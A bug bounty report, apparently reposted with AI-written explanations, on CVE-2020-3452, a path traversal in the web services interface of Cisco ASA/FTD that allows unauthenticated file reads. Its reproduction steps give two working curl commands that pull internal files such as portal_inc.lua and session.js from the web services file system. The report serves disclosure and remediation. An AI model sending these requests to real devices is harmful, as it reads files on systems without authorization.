Path traversal on https://███ allows arbitrary file read (CVE-2020-3452)
The web services interface of Cisco ASA and FTD software did not properly validate URLs, allowing directory traversal sequences in HTTP requests. An unauthenticated remote attacker could read arbitrary files within the web services file system, but not system or OS files.
- Triaged in 11 hours
- Fixed in 16 days
- Disclosed after 22 days
Summary: According to Cisco:
A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system.
The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.
The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.
An advisory can be found at the following link: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
Step-by-step Reproduction Instructions
- In bash, use
curl -k "https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"to prove you can read internal files such as the /+CSCOE+/portal_inc.lua file. - Various internal files can be read, and some require using the --output command to output the binary data to a file as shown below:
curl -k "https://█████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session.js&default-language&lang=../" --output session.js
Suggested Mitigation/Remediation Actions
Update the software to the latest version via the Cisco advisory linked above.
Impact
A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.
The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An unauthenticated attacker could view arbitrary files within the web services file system, but not ASA or FTD system files or underlying OS files.
What the attacker needed
Target runs affected Cisco ASA or FTD software; WebVPN or AnyConnect features enabled; No authentication required
The fix
The software should be updated to the latest version as directed by the Cisco advisory.
How it was found
- Send a crafted HTTP request containing directory traversal sequences to the translation-table endpoint.
- Observe that an internal file such as portal_inc.lua is returned, proving arbitrary file read.
- For binary files, repeat the request and save the response to a local file.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a path traversal bug: a web server accepts a URL containing '..' sequences that let a visitor step outside the intended folder and read files they should not see. Here, the affected Cisco security appliance did not check the URL properly, so anyone on the internet could request internal web files without logging in. The flaw only exposes files in the web services area, not the device's operating system.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.